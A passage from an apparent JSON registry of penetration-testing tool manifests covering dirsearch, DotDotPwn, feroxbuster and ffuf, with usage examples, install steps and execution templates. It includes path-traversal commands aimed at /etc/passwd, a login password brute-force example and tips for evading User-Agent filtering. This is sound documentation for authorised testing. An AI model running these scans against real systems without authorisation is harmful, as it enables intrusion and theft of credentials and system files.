    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "xss-results",
        "vulnerable-params"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# Dirsearch — Web Path Discovery\n\nDirsearch is an advanced command-line tool designed to brute-force directories and files in web servers. It is commonly used for content discovery and hidden resource enumeration.\n\n## Key Features\n\n- **Multi-threaded**: Fast scanning with configurable thread count\n- **Recursive Scanning**: Automatically discover nested directories\n- **Extension Support**: Search for specific file types (php, asp, html, etc.)\n- **Multiple Output Formats**: JSON, XML, CSV, plain text\n- **Proxy Support**: Route through Burp Suite or other intercepting proxies\n\n## Basic Usage\n\n```bash\n# Basic scan\ndirsearch -u https://example.com -w /usr/share/wordlists/dirb/common.txt\n\n# With file extensions and recursion\ndirsearch -u https://example.com -e php,html -r -R 2\n\n# Output to JSON with proxy\ndirsearch -u https://example.com --format json -o results.json --proxy http://127.0.0.1:8080\n```\n\n## Operational Security\n\n- High thread counts can cause excessive server load\n- Use `--random-agent` to avoid simple User-Agent filtering\n- Scanning without authorization is illegal in many jurisdictions\n",
    "_source": "dirsearch.md",
    "allowed-tools": [
      "dirsearch",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.discovery.results",
        "description": "Discovered directories and files",
        "mime": "application/json",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.path",
      "web.discovery.file",
      "web.fingerprint.directory",
      "web.content.brute"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL"
        },
        {
          "type": "file.wordlist",
          "description": "Wordlist for directory brute-forcing"
        },
        {
          "type": "web.file.extension",
          "description": "File extensions to discover"
        }
      ],
      "outputs": [
        {
          "type": "web.discovery.results",
          "description": "Discovered paths and status codes",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Advanced web path and content discovery tool for brute-forcing directories and files on web servers.",
    "examples": [
      {
        "description": "Basic directory scan with common wordlist",
        "command": "dirsearch -u https://example.com -w /usr/share/wordlists/dirb/common.txt"
      },
      {
        "description": "Scan with file extensions for web technologies",
        "command": "dirsearch -u https://example.com -e php,asp,html,js -t 50"
      },
      {
        "description": "Recursive scan with depth limit",
        "command": "dirsearch -u https://example.com -r -R 3 -t 20"
      },
      {
        "description": "Exclude 404 and 403 status codes",
        "command": "dirsearch -u https://example.com -x 404,403"
      },
      {
        "description": "Output results to JSON with random user-agent",
        "command": "dirsearch -u https://example.com --format json -o results.json --random-agent"
      },
      {
        "description": "Scan through a proxy (e.g. Burp Suite)",
        "command": "dirsearch -u https://example.com --proxy http://127.0.0.1:8080"
      }
    ],
    "execution": {
      "template": "dirsearch -u {target} -w {wordlist} -t {threads}",
      "sandbox": "execFile",
      "timeout_seconds": 1800,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "url",
      "wordlist": "/usr/share/wordlists/dirb/common.txt",
      "threads": "30"
    },
    "id": "security-web-dirsearch",
    "install": [
      {
        "method": "pip",
        "package_name": "dirsearch",
        "commands": [
          "pip install dirsearch"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "dirsearch",
    "namespace": "security:web:dirsearch",
    "parameters": [
      {
        "name": "depth",
        "template_key": "depth",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum recursion depth",
        "aliases": [
          "-R",
          "--recursive-depth"
        ],
        "flag": "-R"
      },
      {
        "name": "exclude-status",
        "template_key": "exclude-status",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Exclude status codes (comma-separated)",
        "aliases": [
          "-x",
          "--exclude-status"
        ],
        "flag": "-x"
      },
      {
        "name": "exclude_sizes",
        "type": "boolean",
        "required": false,
        "description": "Exclude response sizes",
        "aliases": [
          "--exclude-sizes"
        ],
        "flag": "--exclude-sizes"
      },
      {
        "name": "exclude_texts",
        "type": "boolean",
        "required": false,
        "description": "Exclude response texts",
        "aliases": [
          "--exclude-texts"
        ],
        "flag": "--exclude-texts"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File extensions to search (comma-separated)",
        "aliases": [
          "-e",
          "--extensions"
        ],
        "flag": "-e"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "Force extensions on all words",
        "aliases": [
          "-f",
          "--force-extensions"
        ],
        "flag": "-f"
      },
      {
        "name": "follow-redirects",
        "template_key": "follow-redirects",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "--follow-redirects"
        ],
        "flag": "--follow-redirects"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": "plain",
        "description": "Output format: json, xml, csv, plain",
        "aliases": [
          "--format"
        ],
        "flag": "--format"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "URL list file",
        "aliases": [
          "-l",
          "--url-list"
        ],
        "flag": "-l"
      },
      {
        "name": "max_response_size",
        "type": "boolean",
        "required": false,
        "description": "Maximum response length",
        "aliases": [
          "--max-response-size"
        ],
        "flag": "--max-response-size"
      },
      {
        "name": "min_response_size",
        "type": "boolean",
        "required": false,
        "description": "Minimum response length",
        "aliases": [
          "--min-response-size"
        ],
        "flag": "--min-response-size"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL (e.g. http://127.0.0.1:8080)",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random-agent",
        "template_key": "random-agent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use random User-Agent headers",
        "aliases": [
          "--random-agent"
        ],
        "flag": "--random-agent"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable recursive brute-force",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 30,
        "description": "Number of threads",
        "aliases": [
          "-t",
          "--threads"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Request timeout in seconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Dirsearch GitHub",
        "url": "https://github.com/maurosoria/dirsearch"
      }
    ],
    "related_tools": [
      "gobuster",
      "feroxbuster",
      "ffuf",
      "wfuzz"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "discovered-paths",
        "content-map"
      ],
      "consumes": [
        "target-url",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# DotDotPwn — Directory Traversal Fuzzer\n\nDotDotPwn is a Perl-based directory/path traversal fuzzer that tests web applications, FTP servers, and TFTP servers for path traversal vulnerabilities. It supports multiple encoding techniques and traversal depths.\n\n## Usage\n\n```bash\n# HTTP traversal\ndotdotpwn -m http://target.com -u /page.php?file=TRAVERSAL -d /etc/passwd\n\n# FTP traversal\ndotdotpwn -m ftp://target.com -p 21\n\n# With cookie authentication\ndotdotpwn -m http://target.com -u /page.php?file=TRAVERSAL -C \"PHPSESSID=abc123\" -d /etc/passwd\n\n# Custom wordlist\ndotdotpwn -m http://target.com -u /page.php?file=TRAVERSAL -d mylist.txt --depth 8\n```\n",
    "_source": "dotdotpwn.md",
    "allowed-tools": [
      "dotdotpwn",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.traversal.report",
        "description": "Directory traversal scan results",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.traversal.fuzz",
      "web.traversal.detect",
      "web.traversal.http",
      "web.traversal.ftp",
      "web.traversal.payload"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL or host"
        },
        {
          "type": "network.port",
          "description": "Target port"
        }
      ],
      "outputs": [
        {
          "type": "web.traversal.report",
          "description": "Detected traversal vulnerabilities",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "perl",
      "libwww-perl"
    ],
    "description": "Directory traversal fuzzing tool that tests for path traversal vulnerabilities in web applications and services via HTTP, FTP, and TFTP protocols.",
    "examples": [
      {
        "description": "HTTP directory traversal scan",
        "command": "dotdotpwn -m http://example.com -u /page.php?file=TRAVERSAL -d /etc/passwd"
      },
      {
        "description": "FTP traversal scan",
        "command": "dotdotpwn -m ftp://example.com -p 21"
      },
      {
        "description": "Custom depth and OS",
        "command": "dotdotpwn -m http://example.com -u /page.php?file=TRAVERSAL -d /etc/passwd --depth 10 -O unix"
      }
    ],
    "execution": {
      "template": "dotdotpwn {flag-protocol} {flag-port} {flag-depth} {flag-os} {flag-file} {flag-threads} {flag-dictionary} {flag-cookie} {flag-output} {flag-url} -m {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "security-web-dotdotpwn",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/wireghoul/dotdotpwn.git",
        "commands": [
          "git clone https://github.com/wireghoul/dotdotpwn.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "dotdotpwn",
    "namespace": "security:web:dotdotpwn",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target host or URL",
        "aliases": [
          "-m",
          "--host"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-port",
        "type": "integer",
        "required": false,
        "description": "Target port",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-protocol",
        "type": "string",
        "required": false,
        "description": "Protocol (http, ftp, tftp)",
        "aliases": [
          "-P",
          "--protocol"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-url",
        "type": "string",
        "required": false,
        "description": "Full target URL with traversal placeholder",
        "aliases": [
          "-u",
          "--url"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-dictionary",
        "type": "string",
        "required": false,
        "description": "Custom wordlist file",
        "aliases": [
          "-d",
          "--dictionary"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-depth",
        "type": "integer",
        "required": false,
        "description": "Traversal depth",
        "aliases": [
          "--depth"
        ],
        "flag": "--depth"
      },
      {
        "name": "flag-os",
        "type": "string",
        "required": false,
        "description": "Target OS (unix, windows)",
        "aliases": [
          "-O",
          "--os"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-file",
        "type": "string",
        "required": false,
        "description": "File to search for",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-output",
        "type": "string",
        "required": false,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-threads",
        "type": "integer",
        "required": false,
        "description": "Number of threads",
        "aliases": [
          "-T",
          "--threads"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-cookie",
        "type": "string",
        "required": false,
        "description": "HTTP Cookie header",
        "aliases": [
          "-C",
          "--cookie"
        ],
        "flag": "-C"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "DotDotPwn GitHub",
        "url": "https://github.com/wireghoul/dotdotpwn"
      }
    ],
    "related_tools": [
      "kadimus",
      "lfi-suite",
      "commix",
      "nmap"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "HTTP",
      "FTP"
    ],
    "techniques": [
      "execution",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "traversal-scan-results",
        "vulnerable-paths"
      ],
      "consumes": [
        "target-url",
        "target-host"
      ]
    }
  },
  {
    "_body": "\n# Feroxbuster — Fast Content Discovery\n\nFeroxbuster is a fast, recursive content discovery tool written in Rust. It combines speed with advanced features like automatic filtering, Burp Suite integration, and recursive scanning.\n\n## Key Features\n\n- **Recursive Scanning**: Automatically crawls discovered directories\n- **Auto-Tuning**: Dynamically adjusts scan parameters for speed\n- **Advanced Filtering**: Filter by status, size, regex, words, or lines\n- **Burp Replay**: Forward results directly to Burp Suite\n- **JSON Output**: Structured output for programmatic processing\n\n## Basic Usage\n\n```bash\n# Basic directory scan\nferoxbuster -u https://example.com -w wordlist.txt -x php,html\n\n# Recursive scan with auto-tuning\nferoxbuster -u https://example.com -w wordlist.txt -d 3 -r --auto-tune\n\n# Proxy integration with JSON output\nferoxbuster -u https://example.com -w wordlist.txt -P http://127.0.0.1:8080 --json -o output.json\n```\n\n## Operational Security\n\n- Use `--silent` to minimize console output\n- Auto-tuning adjusts speed to avoid overwhelming targets\n- Scanning without authorization is illegal\n",
    "_source": "feroxbuster.md",
    "allowed-tools": [
      "feroxbuster",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.discovery.results",
        "description": "Discovered URLs and directories",
        "mime": "application/json",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.discovery.path",
      "web.discovery.file",
      "web.discovery.recursive",
      "web.content.brute",
      "web.filter.response"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL"
        },
        {
          "type": "file.wordlist",
          "description": "Wordlist for brute-forcing"
        },
        {
          "type": "web.file.extension",
          "description": "File extensions to discover"
        }
      ],
      "outputs": [
        {
          "type": "web.discovery.results",
          "description": "Found paths with status codes",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast, recursive content discovery tool written in Rust for directory and file brute-forcing with automatic filtering and Burp integration.",
    "examples": [
      {
        "description": "Basic directory scan with extensions",
        "command": "feroxbuster -u https://example.com -w /usr/share/wordlists/dirb/common.txt -x php,html,js -t 50"
      },
      {
        "description": "Recursive scan with depth control",
        "command": "feroxbuster -u https://example.com -w wordlist.txt -d 3 -r -t 30"
      },
      {
        "description": "Scan with proxy (Burp Suite integration)",
        "command": "feroxbuster -u https://example.com -w wordlist.txt -P http://127.0.0.1:8080"
      },
      {
        "description": "JSON output with status code filtering",
        "command": "feroxbuster -u https://example.com -w wordlist.txt --json -o results.json -s 200,204,301"
      },
      {
        "description": "Silent mode with custom headers",
        "command": "feroxbuster -u https://example.com -w wordlist.txt --silent -H \"Authorization: Bearer token\""
      },
      {
        "description": "Advanced filtering by response attributes",
        "command": "feroxbuster -u https://example.com -w wordlist.txt --filter-size 0 --filter-status 404,403"
      },
      {
        "description": "Auto-tuning for optimal performance",
        "command": "feroxbuster -u https://example.com -w wordlist.txt --auto-tune"
      }
    ],
    "execution": {
      "template": "feroxbuster -u {target} -w {wordlist} -x {extensions}",
      "sandbox": "execFile",
      "timeout_seconds": 1800,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {
      "target": "url",
      "wordlist": "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt",
      "extensions": "php,html,js,txt"
    },
    "id": "security-web-feroxbuster",
    "install": [
      {
        "method": "apt",
        "package_name": "feroxbuster",
        "commands": [
          "apt-get install -y feroxbuster"
        ]
      },
      {
        "method": "cargo",
        "package_name": "feroxbuster",
        "commands": [
          "cargo install feroxbuster"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1190",
      "T1595"
    ],
    "name": "feroxbuster",
    "namespace": "security:web:feroxbuster",
    "parameters": [
      {
        "name": "auto-tune",
        "template_key": "auto-tune",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Automatically tune scan parameters",
        "aliases": [
          "--auto-tune"
        ],
        "flag": "--auto-tune"
      },
      {
        "name": "depth",
        "template_key": "depth",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum recursion depth",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "extensions",
        "template_key": "extensions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File extensions to scan (comma-separated)",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "filter_lines",
        "type": "boolean",
        "required": false,
        "description": "Filter by line count",
        "aliases": [
          "--filter-lines"
        ],
        "flag": "--filter-lines"
      },
      {
        "name": "filter_regex",
        "type": "boolean",
        "required": false,
        "description": "Filter by regex pattern",
        "aliases": [
          "--filter-regex"
        ],
        "flag": "--filter-regex"
      },
      {
        "name": "filter_size",
        "type": "boolean",
        "required": false,
        "description": "Filter by response size",
        "aliases": [
          "--filter-size"
        ],
        "flag": "--filter-size"
      },
      {
        "name": "filter_status",
        "type": "boolean",
        "required": false,
        "description": "Filter by status codes",
        "aliases": [
          "--filter-status"
        ],
        "flag": "--filter-status"
      },
      {
        "name": "filter_words",
        "type": "boolean",
        "required": false,
        "description": "Filter by word count",
        "aliases": [
          "--filter-words"
        ],
        "flag": "--filter-words"
      },
      {
        "name": "follow-redirect",
        "template_key": "follow-redirect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "json",
        "template_key": "json",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable JSON output",
        "aliases": [
          "--json"
        ],
        "flag": "--json"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Silent mode (only output results)",
        "aliases": [
          "--silent"
        ],
        "flag": "--silent"
      },
      {
        "name": "status-codes",
        "template_key": "status-codes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Status codes to include",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 50,
        "description": "Number of concurrent threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Request timeout in seconds",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "user-agent",
        "template_key": "user-agent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom User-Agent string",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "user_agent",
        "type": "boolean",
        "required": false,
        "description": "string",
        "aliases": [
          "--user-agent",
          "-Agent"
        ],
        "flag": "-Agent"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "wordlist",
        "template_key": "wordlist",
        "type": "file",
        "required": true,
        "default_value": null,
        "description": "Path to wordlist file",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Feroxbuster GitHub",
        "url": "https://github.com/epi052/feroxbuster"
      }
    ],
    "related_tools": [
      "gobuster",
      "dirsearch",
      "ffuf",
      "wfuzz"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "discovered-paths",
        "content-map"
      ],
      "consumes": [
        "target-url",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n# FFUF — Fast Web Fuzzer\n\nFFUF (Fuzz Faster U Fool) is a fast web fuzzer written in Go. It is designed for directory discovery, parameter fuzzing, virtual host enumeration, and value brute-forcing with advanced filtering capabilities.\n\n## Key Features\n\n- **Multi-Mode Fuzzing**: Directory, parameter, vhost, and value fuzzing\n- **Advanced Filtering**: Filter by status code, size, words, or lines\n- **Recursion**: Automatically fuzz discovered directories\n- **Auto-Calibration**: Intelligent baseline detection\n- **Multiple Output Formats**: JSON, CSV, HTML, Markdown\n\n## Fuzzing Modes\n\n| Mode | Example |\n|------|---------|\n| Directory | `ffuf -u https://target/FUZZ -w wordlist.txt` |\n| Parameter | `ffuf -u https://target/page?FUZZ=1 -w params.txt` |\n| VHost | `ffuf -u https://target -H \"Host: FUZZ.target\" -w hosts.txt` |\n| POST data | `ffuf -u https://target/login -X POST -d \"user=FUZZ\" -w users.txt` |\n\n## Basic Usage\n\n```bash\n# Directory discovery\nffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 50\n\n# VHost enumeration\nffuf -u https://example.com -H \"Host: FUZZ.example.com\" -w vhosts.txt -fc 200\n\n# Parameter fuzzing with filtering\nffuf -u https://example.com/page?FUZZ=1 -w params.txt -fc 404 -fs 0\n```\n\n## Operational Security\n\n- High thread counts can overwhelm targets\n- Use auto-calibration (`-ac`) for smarter filtering\n- FFUF does not follow redirects by default (use `-r`)\n- Scanning without authorization is illegal\n",
    "_source": "ffuf.md",
    "allowed-tools": [
      "ffuf",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "web.fuzzing.results",
        "description": "Fuzzing results in JSON format",
        "mime": "application/json",
        "trust_level": "community"
      },
      {
        "type": "web.fuzzing.html",
        "description": "HTML fuzzing report",
        "mime": "text/html",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "web.fuzzing.directory",
      "web.fuzzing.parameter",
      "web.discovery.vhost",
      "web.fuzzing.value",
      "web.content.brute",
      "web.filter.response"
    ],
    "contract": {
      "inputs": [
        {
          "type": "web.target.url",
          "description": "Target URL with FUZZ keyword"
        },
        {
          "type": "file.wordlist",
          "description": "Wordlist for fuzzing"
        },
        {
          "type": "web.http.method",
          "description": "HTTP method (GET, POST, etc.)"
        }
      ],
      "outputs": [
        {
          "type": "web.fuzzing.results",
          "description": "Fuzzing results in JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast web fuzzer written in Go for directory discovery, parameter fuzzing, virtual host enumeration, and value brute-forcing.",
    "examples": [
      {
        "description": "Directory discovery with common wordlist",
        "command": "ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt"
      },
      {
        "description": "Parameter fuzzing with POST data",
        "command": "ffuf -u https://example.com/login -X POST -d \"user=admin&password=FUZZ\" -w passwords.txt -fc 401"
      },
      {
        "description": "Virtual host enumeration",
        "command": "ffuf -u https://example.com -H \"Host: FUZZ.example.com\" -w vhosts.txt -fc 200"
      },
      {
        "description": "Extension-based directory discovery",
        "command": "ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html,.asp -t 50"
      },
      {
        "description": "Recursive scan with auto-calibration",
        "command": "ffuf -u https://example.com/FUZZ -w wordlist.txt -recursion -recursion-depth 3 -ac"
      },
      {
        "description": "Output to JSON with status code filtering",
        "command": "ffuf -u https://example.com/FUZZ -w wordlist.txt -o results.json -of json -fc 404,403"
      },
      {
        "description": "Through Burp proxy",
        "command": "ffuf -u https://example.com/FUZZ -w wordlist.txt -p http://127.0.0.1:8080"
      }
    ],
    "execution": {
      "template": "ffuf -u {target} -w {wordlist} -t {threads}",
      "sandbox": "execFile",
      "timeout_seconds": 1800,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin"
    ],
    "global_vars": {
      "target": "url",
      "wordlist": "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt",
      "threads": "40"
    },
    "id": "security-web-ffuf",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/ffuf/ffuf/v2",
        "commands": [
          "go install github.com/ffuf/ffuf/v2@latest"
        ]
      },
      {
        "method": "apt",
        "package_name": "ffuf",
        "commands": [
          "apt-get install -y ffuf"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "ffuf",
    "namespace": "security:web:ffuf",
    "parameters": [
      {
        "name": "auto-calibration",
        "template_key": "auto-calibration",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Auto-calibrate filtering",
        "aliases": [
          "-ac"
        ],
        "flag": "-ac"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST request body",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "e",
        "type": "boolean",
        "required": false,
        "description": "File extension to append",
        "aliases": [
          "-e",
          "--extension"
        ],
        "flag": "-e"
      },
      {
        "name": "filter-code",
        "template_key": "filter-code",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by HTTP status codes",
        "aliases": [
          "-fc"
        ],
        "flag": "-fc"
      },
      {
        "name": "filter-lines",
        "template_key": "filter-lines",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by line count",
        "aliases": [
          "-fl"
        ],
        "flag": "-fl"
      },
      {
        "name": "filter-size",
        "template_key": "filter-size",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by response size",
        "aliases": [
          "-fs"
        ],
        "flag": "-fs"
      },
      {
        "name": "filter-words",
        "template_key": "filter-words",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Filter by word count",
        "aliases": [
          "-fw"
        ],
        "flag": "-fw"
      },
      {
        "name": "follow-redirect",
        "template_key": "follow-redirect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Follow HTTP redirects",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "string",
        "required": false,
        "default_value": "GET",
        "description": "HTTP method (GET, POST, PUT, etc.)",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "output-format",
        "template_key": "output-format",
        "type": "string",
        "required": false,
        "default_value": "json",
        "description": "Output format: json, csv, html, md",
        "aliases": [
          "-of"
        ],
        "flag": "-of"
      },
      {
        "name": "output_format",
        "type": "boolean",
        "required": false,
        "description": "Output format (json, csv, html, md)",
        "aliases": [
          "--output-format"
        ],
        "flag": "--output-format"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "recursion",
        "template_key": "recursion",
        "type": "boolean",
